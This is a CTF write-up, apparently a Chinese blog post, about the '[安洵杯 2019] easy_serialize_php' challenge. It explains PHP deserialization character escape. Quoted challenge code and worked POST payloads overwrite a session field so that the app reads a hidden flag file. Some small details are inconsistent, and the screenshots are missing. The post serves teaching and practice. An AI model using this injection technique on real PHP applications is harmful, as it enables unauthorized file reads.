[安洵杯 2019]easy_serialize_php---关于php反序列化的一些思考

这道题值得拿出来说一下,是因为涉及到了反序列化逃逸的一些基本知识

首先有几个点值得去思考一下,我们知道一般序列化的格式是:

{i:5;s:9:"aaaaaaaaa";}

上面的序列化格式其实表示的是一个整数变量值为100与一个String值为"aaaaaaaaa"。

如果我们在序列化好的字符串中加入 ;} 字符就能在中间起到反序列化时的截断效果。同时如果前面的字符数、类型等正常对应,反序列化时是能正常解析并起到覆盖变量的效果的,这就叫做php反序列化的字符逃逸。

我们构建payload只需要保证这一点就行了。

因为所有格式化的数据只要可以被修改,那一定有可能出现漏洞。

首先根据代码提示:

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!

我们直接传入GET变量f=pipinfo,可以在phpinfo信息里发现文件:

d0g3_f1ag.php

根据代码提示对其进行base64处理得到:

ZDBnM19mMWFnLnBocA==

再跟进代码:

if($_SESSION){
    unset($_SESSION);
}

源码中的部分处理其实完全可以忽略,这里操作的是_SESSION这个数组而已。


if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

这里的处理也告诉我们,通过正常的GET方式传入img_path会被sha1处理。

echo file_get_contents(base64_decode($userinfo['img']));

这样最后的base64_decode就会出现问题。也别去考虑sha1的构造了,构造难度挺大。

所以我们可以采用别的方式传入_SESSION数组元素,并进行反序列化字符逃逸。

_SESSION[flagflag]=";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

为什么要这么构建payload呢?

首先我们要看到代码里的:

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

这里对$_SESSION中的user与function两个键进行了赋值,随后就用extract处理了POST变量。所以利用思路就是用user&function进行处理从而字符串逃逸吗?其实有更简单的方法,就是控制$_SESSION本身

再看我们的payload:

_SESSION[flagflag]=";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这里在进行filter的时候,SESSION里面的flagflag就都被过滤掉了,所以我们就多出了8位去构建后面的字符。

为什么刚好多八位呢?

首先我们序列化 _SESSION[flagflag]="; 看一看。

a:1:{s:8:"flagflag";s:2:"";";}

过滤过后:

a:1:{s:8:"";s:2:"";";}

注意看s:8:"后面,一直到第二个;前面的引号闭合,这里一共有7位。
那为什么是8而不是flagphp这样构建7位呢?

别急,我们再在后面跟上添加一下我们要伪造的img。

序列化一下:_SESSION[flagflag]=";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}

这里我们已经把我们要传入的img参数送进去了,得到的结果是:

在这里插入图片描述

注意看这里的41,代表的是_SESSION[flagflag]的内容长度,这个时候我们闭合内的字符数就变成了8。

这也是我们这里用flagflag的原因,这样刚好处理恰当。

再看payload:

_SESSION[flagflag]=";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

我们为什么要传入一个无关的a呢?这里的a是作为这里:
在这里插入图片描述
第一位的值。不然后面的正常键值对关系是构造错误的,不能正常反序列化。

我们 send 一下 payload:
在这里插入图片描述
回显了flag的位置。
前面构造的8位允许_SESSION[flagflag]的长度在两位数,所以我们直接对新的目标地址base64处理,得到:L2QwZzNfZmxsbGxsbGFn。

刚好也是20位,所以直接替换成上面的base64字符串就行。

最终paylaod:

_SESSION[flagflag]=";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

观察回显:

在这里插入图片描述
至此结束。

考查知识点:

php反序列化字符串逃逸

代码审计与思考

题目难度:

简单

总结:

学会审计代码,安全工作中不要暴露出格式化数据的操作接口。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值